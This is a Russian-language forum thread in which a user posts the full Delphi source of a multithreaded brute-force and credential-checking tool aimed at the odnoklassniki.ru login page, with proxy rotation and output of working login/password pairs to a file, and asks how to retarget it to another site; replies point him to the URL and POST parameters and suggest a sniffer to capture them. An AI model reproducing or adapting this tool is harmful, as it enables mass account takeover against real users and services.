[Помогите!] Как переделать под свой сайт?

[readln]

Есть исходник брута, он для одноклашек, но я очу его сделать под другой сайт. Что нужно для этого изменить в коде??

unit Unit1;

//Модерн. в брут от INGUSHMEN
//Оригинальный исходник: Zdez Bil Ya
//===================================
//
//           TRIALANET.RU
//
//===================================

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  StdCtrls, ComCtrls, Gauges, SyncObjs, Spin, Buttons, ExtCtrls, XPMan;

type
  TForm1 = class(TForm)
    OpenDialog1: TOpenDialog;
    IdHTTP1: TIdHTTP;
    Panel1: TPanel;
    Label3: TLabel;
    Bevel1: TBevel;
    Label4: TLabel;
    Panel2: TPanel;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    RadioButton3: TRadioButton;
    Panel3: TPanel;
    Edit1: TEdit;
    SpeedButton4: TSpeedButton;
    Edit2: TEdit;
    SpeedButton5: TSpeedButton;
    Gauge1: TGauge;
    XPManifest1: TXPManifest;
    Panel4: TPanel;
    Memo1: TMemo;
    Panel5: TPanel;
    SpinEdit1: TSpinEdit;
    SpeedButton3: TSpeedButton;
    SpeedButton2: TSpeedButton;
    Edit3: TEdit;
    Label1: TLabel;
    GoodLabel: TLabel;
    BadLabel: TLabel;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure SpeedButton4Click(Sender: TObject);
    procedure SpeedButton2Click(Sender: TObject);
    procedure RadioButton1Click(Sender: TObject);
    procedure RadioButton2Click(Sender: TObject);
    procedure RadioButton3Click(Sender: TObject);
    procedure SpeedButton5Click(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

 TNewThread = class(TThread)
  private
   FAcc : string;
   FPas : string;
   IP   : string;
   Port : string;
   Rez  : Integer;
  protected
    procedure Execute; override;
  public
    procedure Sync;
    constructor Create(CreateSuspended: Boolean);
  end;

var
  Form1: TForm1;
  Accounts, Proxy:Tstringlist;
  Thread, Acc:integer;
  Work:boolean;
  CS:TcriticalSection;
  GoodFile, BadFile: textfile;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TNewThread.Execute;
var CurAcc:integer;
    data:Tstringlist;
    HTTP: TIdHTTP;
begin
 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
    begin

     HTTP:=TIdHTTP.create(nil); //Создаём HTTP
     HTTP.HandleRedirects:=false; //Запрещаем редирект

     if Proxy.Text = '' then sleep(0) else //Если прокси не загружены, то ничего не делаем
     begin
     IP:= Copy(Proxy[CurAcc],1,Pos(':',Proxy[CurAcc])-1); //Копируем прокси
     Port:= Copy(Proxy[CurAcc],Pos(':',Proxy[CurAcc])+1,Length(Proxy[CurAcc])); //Копируем порт
     HTTP.ProxyParams.ProxyServer:=IP; //Вставляем прокси
     HTTP.ProxyParams.ProxyPort:=strtoint(Port); //Вставляем порт
     end;

     //Прокси берутся легко! Какая цифра у строк логина, такая цифра строки и у прокси
     //Напрмиер:
     //№1 - 127.0.0.1
     //№2 - 127.0.0.2
     //№3 - 127.0.0.3
     //У нас список проксей, всего 3
     //№1 - vasya;123456
     //№2 - kolya;wwwwww
     //№3 - trialanet.ru;password
     //Начинаем с первого логина, так же начинаем с первой прокси
     //и т.д.

     FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1); //Копируем логин
     FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); //Копируем пароль

     data:=Tstringlist.create;
     data.Add('st.posted=set');
     data.Add('st.email='+FAcc);
     data.Add('st.password='+FPas);
     data.Add('st.fJS=enabled');
     data.Add('st.screenSize=1366 x 768');
     data.Add('st.flashVer=10.1.82');
     data.Add('button_go=Войти');
     try
      HTTP.Post('http://www.odnoklassniki.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin', data);
      Rez:=-1;
     except
      if Pos('Set-Cookie: JSESSIONID=', HTTP.Response.RawHeaders.Text)<>0 then //Если в кукисах нашли JSESSIONID то добавляем в ГУД
       Rez:=1  //Гуд
      else
       Rez:=0; //Бэд
     end;
     HTTP.Free; //УБиваем HTTP
     data.Free; //И наши параметры

     Synchronize(Sync); //Делаем синхронизацию. Самая важная строка!
    end;
  end;

 dec(Thread);
 if Thread=0 then ShowMessage('OK'); //No comments...
end;

procedure TNewThread.Sync;
begin
 case Rez of
   0:begin
      Accounts.Add(FAcc+';'+FPas);
     end;
   1:begin
      Append(GoodFile);
      Writeln(GoodFile,FAcc+';'+FPas);
      Closefile(GoodFile);
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
     end;
  -1:begin
      Append(BadFile);
      Writeln(BadFile,FAcc+';'+FPas);
      Closefile(BadFile);
      Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
     end;
 end;
end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 Accounts.Free;
 CS.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Accounts:=Tstringlist.create;
 Proxy:=Tstringlist.create;
 CS:=TcriticalSection.create;
end;

procedure TForm1.SpeedButton4Click(Sender: TObject);
begin
 OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
 if OpenDialog1.Execute then
  begin
   Accounts.Clear;
   Accounts.LoadFromFile(OpenDialog1.FileName);
  end;
end;

procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
 Memo1.Clear;
 SpeedButton2.Enabled:=false;
 SpeedButton3.Enabled:=true;

 Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
 Rewrite(GoodFile);
 Closefile(GoodFile);
 Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
 Rewrite(BadFile);
 Closefile(BadFile);
 GoodLabel.Caption:='0';
 BadLabel.Caption:='0';
 Gauge1.MaxValue:=Accounts.Count;
 Gauge1.Progress:=0;
 Acc:=-1;
 Work:=true;
 for Thread:=1  to strtoint(SpinEdit1.Text) do
  TNewThread.Create(false);
 Thread:=strtoint(SpinEdit1.Text);
end;

procedure TForm1.RadioButton1Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='accounts.txt';
Edit3.Enabled:=false;
Edit3.Text:='';
end;

procedure TForm1.RadioButton2Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='passwords.txt';
Edit3.Enabled:=true;
Edit3.Text:='Введите логин';
end;

procedure TForm1.RadioButton3Click(Sender: TObject);
begin
Edit1.Enabled:=true;
Edit1.Text:='logins.txt';
Edit3.Enabled:=true;
Edit3.Text:='Введите пароль';
end;

procedure TForm1.SpeedButton5Click(Sender: TObject);
begin
 OpenDialog1.FileName:='';
 OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
 if OpenDialog1.Execute then
  begin
   Proxy.Clear;
   Proxy.LoadFromFile(OpenDialog1.FileName);
  end;
end;

procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
 SpeedButton2.Enabled:=true;
 SpeedButton3.Enabled:=false;
 Work:=false; //Завершаем наши потоки
end;

end.

за адекватные ответы спасибки)

[metraz]

ссылки, параметра запроса

[readln]

Цитата: Сообщение от metraz ссылки, параметра запроса

можешь их выделить цветом? буду очень благодарен

[Роспотребнадзор]

Цитата: Сообщение от readln data:=Tstringlist.create; data.Add('st.posted=set'); data.Add('st.email='+FAcc); data.Add('st.password='+FPas); data.Add('st.fJS=enabled'); data.Add('st.screenSize=1366 x 768'); data.Add('st.flashVer=10.1.82'); data.Add('button_go=Войти'); // собираем все необходимые данные для авторизации try HTTP.Post('http://www.odnoklassniki.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin', data); (куда отправляем , что отправляем)

.

[readln]

РОСПОТРЕБНАДЗОР, как собрать красные данные с сайта?

[metraz]

сниффером любым

[=PaLeTiZaToR=]

Я думаю , если у тс возникают вопросы типа "где посмотреть ссылки" ... то ему еще рано писать бруты ... hello world самое то помоему.. (не в обиду)

[veliside7407]

та да...

[VeTaL_UA]

Да что вам всем эти бруты сдались, лучше бы чего полезного написали...

[Sinyss]

Цитата: Сообщение от VeTaL_UA Да что вам всем эти бруты сдались, лучше бы чего полезного написали...

Дай идею для опенсорс проекта )

[Роспотребнадзор]

Цитата: Сообщение от VeTaL_UA Да что вам всем эти бруты сдались, лучше бы чего полезного написали...

Что например?

[$-WinGER-$]

Цитата: Сообщение от РОСПОТРЕБНАДЗОР Что например?

Можно чекер намутить на интересную игрушку вот эт будет полезно